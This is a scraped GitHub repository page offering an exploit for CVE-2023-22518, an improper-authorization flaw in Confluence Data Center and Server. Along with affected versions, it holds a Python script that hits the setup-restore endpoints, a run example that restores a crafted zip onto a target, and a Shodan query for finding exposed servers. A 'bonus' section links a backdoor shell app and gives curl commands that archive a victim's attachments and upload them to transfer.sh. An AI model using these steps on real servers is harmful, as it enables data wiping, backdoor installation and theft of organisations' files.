








	.gitignore	
	DETAIL.md	
	LICENSE	
	README.md	
	atlplug.jar	
	exploit.py	
	xmlexport-20231109...	

 README

 MIT license



CVE-2023-22518

Improper Authorization Vulnerability in Confluence Data Center and Server.

Atlassian has alerted administrators about a critical vulnerability in Confluence. Exploiting this issue can lead to data loss, so developers urge you to install patches as soon as possible.

About

Improper Authorization
Vulnerability in Confluence Data
Center and Server + bonus 🔥

- python
- shell
- attack
- backdoor
- exploit
- hacking
- vulnerability
- vulnerabilities
- confluence
- cve
- atlassian
- hacking-tool
- atlassian-confluence
- critical
- exploiting
- improper

-  Readme
-  MIT license
-  Activity
-  55 stars
-  19 watching
-  9 forks

Report repository

Releases

No releases published

Packages

No packages published

It is noted that the vulnerability cannot be used for data leakage, and it does not affect Atlassian Cloud sites accessed through the atlassian.net domain.

<https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html>

<https://jira.atlassian.com/browse/CONFSERVER-93142>

Product	Affected Versions	Fixed Versions
Confluence Data Center	All versions are affected	7.19.16 or later
Confluence Server		8.3.4 or later
		8.4.4 or later
		8.5.3 or later
		8.6.1 or later

Exploiting

Class: Improper authorization

CWE: [CWE-285](#) / [CWE-266](#)

ATT&CK: [T1548.002](#)

Known attack vectors 🔥

/json/setup-restore.action

/json/setup-restore-local.action

/json/setup-restore-progress.action

/server-info.action [Community Forum](#)

Contributors 2



ForceFledgling Vladimir Penzin



altima Enno

Languages

● Python 100.0%

A simple example of vulnerability testing in Python

```
import requests
import random
import string
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def random_string(length=10):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

def post_setup_restore(baseurl):
    paths = ["/json/setup-restore.action", "/js
    for path in paths:
        url = f"{baseurl.rstrip('/')}{path}"

        headers = {
            "X-Atlassian-Token": "no-check",
            "Content-Type": "multipart/form-data"
        }

        rand_str = random_string()
        data = (
            ("-----WebKitFormBoundaryT3yekvo0rG",
             "Content-Disposition: form-data; name='true'\r\n",
             "-----WebKitFormBoundaryT3yekvo0rG",
             f"Content-Disposition: form-data; name='{rand_str}'\r\n",
             "-----WebKitFormBoundaryT3yekvo0rG",
             "Content-Disposition: form-data; name='Upload and import'\r\n",
             "-----WebKitFormBoundaryT3yekvo0rG",
            )

        try:
            response = requests.post(url, headers=headers, data=data)

            if (response.status_code == 200 and
                'The zip file did not contain any files'):
```



```
        'exportDescriptor.properties' in
        print(f"[+] Vulnerable to CVE-20
    else:
        print(f"[-] Not vulnerable to C
except requests.RequestException as e:
    print(f"[*] Error connecting to {ur

def main():
    parser = argparse.ArgumentParser(description
    parser.add_argument('--url', help='The URL '
    parser.add_argument('--file', help='Filename
    args = parser.parse_args()

    if args.url:
        post_setup_restore(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            for line in f:
                url = line.strip()
                if url:
                    post_setup_restore(url)
    else:
        print("You must provide either --url or

if __name__ == "__main__":
    main()
```

Use exploit 🔥

[exploit.py](#)

```
python3 exploit.py
Enter the URL: http://REDACTED:8090/json/setup-1
Enter the path to the .zip file: /path/xmlexport
```



Bonus 🔥

Shodan search:

```
http.favicon.hash:-305179312
```



[exploit-restore.zip](#)

[Confluence Backdoor Shell App](#)

When resetting Confluence using this vulnerability, the directory %CONFLUENCE_HOME%/attachments remains full of files, potentially numbering in the thousands. Extracting them all is quite straightforward, and their extensions can be determined using the Linux file command. For example:

```
file /var/lib/confluence/attachments/v4/191/28/ /var/lib/confluence/attachments/v4/191/28/77273:
```

or

```
file /var/atlassian/application-data/confluence, /var/atlassian/application-data/confluence/atta
```

Example of how to easily archive a directory and extract the archive:

```
tar -czvf /var/atlassian/application-data/confl curl --upload-file /var/atlassian/application-d https://transfer.sh/*****/attachments_bacl
```

or

```
curl --upload-file /var/atlassian/application-d https://transfer.sh/*****/backup-2023_09_
```

[Novel backdoor persists even after critical Confluence vulnerability is patched](#)

[More useful information](#)

[Terms](#) [Privacy](#) [Security](#) [Status](#) [Docs](#) [Contact](#) [Manage cookies](#) [Do not share my personal information](#)

 © 2024 GitHub, Inc.